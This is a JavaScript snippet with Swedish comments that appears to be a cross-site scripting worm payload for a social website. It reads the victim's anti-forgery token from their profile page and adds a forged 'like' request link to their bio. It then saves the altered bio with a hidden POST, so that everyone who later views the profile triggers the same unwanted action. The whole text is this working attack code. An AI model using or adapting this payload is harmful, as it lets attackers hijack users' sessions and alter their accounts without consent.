$.get("/sida/presentation", function(getdata) { // hämta användarens EC token var parser = new DOMParser(); var xmldoc = parser.parseFromString(getdata, "text/html"); var token = xmldoc.getElementsByName("ec_key")[0].value; // hämta användarens biografi var curbio = xmldoc.getElementsByName("user_press")[0].value; // lägg till CSRF bild i bio, ifall den inte redan finns if (!curbio.includes("2592381")) { var payload = "\n_ajax/like.php?type=1&obj=2592381&to=194693"; var newbio = curbio.concat(encodeURIComponent(payload)); var xhr = new XMLHttpRequest(); xhr.open('POST', '/_hidden/press.php', true); xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); xhr.onload = function () { // do something to response console.log(this.responseText); }; xhr.send("ec_key=" + token + "&action=save&user_press=" + newbio); } else { return } });